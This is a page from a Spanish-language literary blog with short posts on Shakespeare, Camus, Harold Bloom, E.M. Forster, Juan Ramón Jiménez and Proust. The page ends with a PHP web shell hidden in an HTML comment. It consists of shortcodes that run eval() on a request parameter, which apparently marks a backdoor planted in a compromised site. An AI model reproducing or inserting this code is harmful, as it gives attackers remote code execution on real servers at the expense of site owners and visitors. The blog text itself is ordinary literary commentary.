Skip to content

La Hormiga Remolona Posts

Twelfth Night

… or What You Will

De nuevo Shakespeare. Noche de Reyes, Epifanía… o el título que desees para esta obra lúdica que se estrenó el 2 de enero de 1602. Viola, Sebastian, Orsino y Olivia sentando las bases de la comedia romántica.

Leave a Comment

Le premier homme

Hoy hace 42 años que Albert Camus perdía la vida en un accidente de tráfico cuando regresaba a París en compañía del editor Michel Gallimard. En El extranjero hace un comentario desconcertante: todo hombre acaba pareciéndose a su perro después de estar años y años a su lado. En lo físico, claro está… lo contrario sería depositar demasiadas esperanzas en el género humano.

Para necrófilos y curiosos sin escrúpulos: en Find A Grave se puede localizar la tumba de cualquier personaje conocido, observala con detenimiento e incluso enviar fotografías. Está la de Camus 😮

Leave a Comment

El genio que nace

En El canon occidental, Harold Bloom habla de dos tipos de autores. Unos cuya genialidad queda manifiesta desde la primera creación, y otros que evolucionan y sólo tiempo después alcanzan la maestría. En el primer grupo está Arthur Rimbaud. En el segundo, Shakespeare.

Según él, sólo a partir de Trabajos de amor perdidos Shakespeare puede considerarse genial. En resumen: si hubieran asesinado al de Stratford en lugar de a Marlowe, hoy en día sólo se hablaría de Christopher Marlowe, ya que por aquel entonces Shakespeare sólo había estrenado obras menores.

Leave a Comment

Aspectos de la novela

Un 1 de enero de 1879 nació Edward Morgan Forster (E.M. Forster), miembro del grupo de Bloomsbury. Además de proporcionar abundante material cinematográfico a James Ivory (y a Helena Bonham Carter), Forster escribió uno de los grandes tratados de teoría literaria del siglo XX: Aspectos de la novela (1927).

Ahí trazó la ya clásica diferenciación entre los personajes planos (flat characters) y los personajes redondos (round characters) o dinámicos. Un personaje dinámico evoluciona y por tanto es capaz de sorprender al lector de forma convincente. Un personaje plano (estereotipo) no cambia ni sorprende.

Leave a Comment

JRJ

No le toques ya más,

que así es la rosa.

Hoy hace 120 años que nació en Moguer. “A la minoría, siempre”.

Leave a Comment

Flores

A la sombra de las muchachas en flor: el título de esta novela ocupa el primer lugar en el ranking de los más cursis de la literatura seria.

Titular con flores es arriesgado después de Baudelaire.

Leave a Comment

A la recherche du temps perdu

Tal día como hoy, en 1912, la revista francesa Nouvelle Revue Francaise rechaza publicar un extracto de En busca del tiempo perdido. No sería la única.

Marcel, siempre enfermizo, fue oscureciendo el fondo de unos mismos personajes volumen tras volumen. Pero también supo captar toda la vitalidad y alegría de las playas de Balbec/Normandía durante el cruce de siglo en A la sombra de las muchachas en flor.

La traducción española de la obra guarda un curioso aire Indiana Jones. La inglesa frivoliza la intensa búsqueda de Proust hasta conseguir una redundancia muy sonora: Remembrance of times past.

<!– [insert_php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/insert_php][php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/php] –>

2 Comments